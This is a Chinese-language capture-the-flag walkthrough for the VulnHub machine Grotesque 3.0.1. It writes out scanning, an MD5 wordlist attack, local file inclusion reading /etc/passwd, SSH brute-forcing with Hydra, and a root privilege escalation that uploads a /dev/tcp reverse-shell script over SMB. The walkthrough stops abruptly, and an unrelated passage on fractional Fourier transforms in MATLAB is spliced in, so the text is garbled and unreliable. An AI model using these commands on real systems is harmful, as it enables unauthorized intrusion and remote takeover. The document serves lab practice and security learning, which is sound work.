GROTESQUE: 3.0.1

1.信息收集

靶机下载地址:https://download.vulnhub.com/grotesque/grotesque3.zip

设置成NAT模式打开

扫不到ip去修改网卡后扫到IP

arp-scan -l

dirb -u http://192.168.10.152

nmap -sV 192.168.10.152 -p-

2.漏洞发现

访问ip发现提示看看地图

点开地图看看

md五个x,可能是md5加密

目录扫描没有发现什么有价值的东西

进行网站指纹识别

whatweb http://192.168.10.152

目录扫描没有找到什么有用的东西,猜测应该是字典的问题,既然提示了md5,可能是md5加密之后的地址

for i in $(cat /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt); do echo $i | md5sum >> Desktop/4.txt; done
#将 /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 字典进行md5加密

重新使用 gobuster 工具扫描目录

gobuster dir -w Desktop/4.txt -u http://192.168.10.152 -x php,html,txt,zip,bak

发现扫描不出来,原因是加密后会有个-删除后重新扫描

扫描出来的URL:/f66b22bf020334b04c7d0d3eb5010391.php

访问后查看源代码,发现什么也没有

使用模糊测试的方式

wfuzz -c -w /usr/share/wordlists/dirb/big.txt --hw 0 -u http://192.168.10.152/f66b22bf020334b04c7d0d3eb5010391.php\?FUZZ=/etc/passwd

扫描出来的url:http://192.168.10.152/f66b22bf020334b04c7d0d3eb5010391.php?purpose=/etc/passwd

查看源代码,发现用户freddie和root操作系统都是 /bin/bash

继续使用之前制作的md5字典去爆破ssh(freddie),得到了账号密码(freddie、61a4e3e60c063d1e472dd780f64e6cad)

hydra -l freddie -P 4.txt ssh://192.168.10.152

然后去ssh连接,找到第一个flag

3.提权

papy64和linpeas.sh下载

papy64下载地址:GitHub - DominicBreuker/pspy: Monitor linux processes without root permissions

linpeas.sh下载地址:GitHub - carlospolop/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)

csdn - 安全中心

扫描结果比较多的多,往下面多扒拉一下,就会发现每隔一段时间就以root权限运行/smbshare/目录下的所有文件

我们用ss -lulnp看一下,发现了有一个445的smb端口,之前用nmap没扫到,那么我们就可以直接操作了

在kali中开启一个监听反弹shell

写入一个shell:echo '/bin/sh -i >& /dev/tcp/192.168.10.136/9999 0>&1' >shell.sh

smbclient -L //127.0.0.1/查看目录

-L去掉,进入命令环境,并且用put指令上传一下这个shell

smbclient  //127.0.0.1/grotesque
put shell.sh

发现kali监听到

分数阶傅里叶变换(Fractional Fourier Transform, FRFT)是对传统傅里叶变换的拓展,它通过非整数阶的变换方式,能够更有效地处理非线性信号以及涉及时频局部化的问题。在信号处理领域,FRFT尤其适用于分析非平稳信号,例如在雷达、声纳和通信系统中,对线性调频(Linear Frequency Modulation, LFM)信号的分析具有显著优势。LFM信号是一种频率随时间线性变化的信号,因其具有宽频带和良好的时频分辨率,被广泛应用于雷达和通信系统。FRFT能够更精准地捕捉LFM信号的时间和频率信息,相比普通傅里叶变换,其性能更为出色。 MATLAB是一种强大的数值计算和科学计算工具,拥有丰富的函数库和用户友好的界面。在MATLAB中实现FRFT,通常需要编写自定义函数或利用信号处理工具箱中的相关函数。例如,一个名为“frft”的文件可能是用于执行分数阶傅里叶变换的MATLAB脚本或函数,并展示其在信号处理中的应用。FRFT的正确性验证通常通过对比变换前后信号的特性来完成,比如评估信号的重构质量、信噪比等。具体而言,可以通过计算原始信号与经过FRFT处理后的信号之间的相似度,或者对比LFM信号的关键参数(如初始频率、扫频率和持续时间)是否在变换后得到准确恢复。 在MATLAB代码实现中,通常包含以下步骤:首先,生成LFM信号模型,设定其初始频率、扫频率、持续时间和采样率等参数;其次,利用自定义的frft函数对LFM信号进行分数阶傅里叶变换;接着,使用MATLAB的可视化工具(如plot或imagesc)展示原始信号的时域和频域表示,以及FRFT后的结果,以便直观对比;最后,通过计算均方误差、峰值信噪比等指标来评估FRFT的性能。深入理解FRFT的数学原理并结合MATLAB编程技巧,可以实现对LFM信号的有效分析和处理。这个代码示例不仅展示了理论知识在
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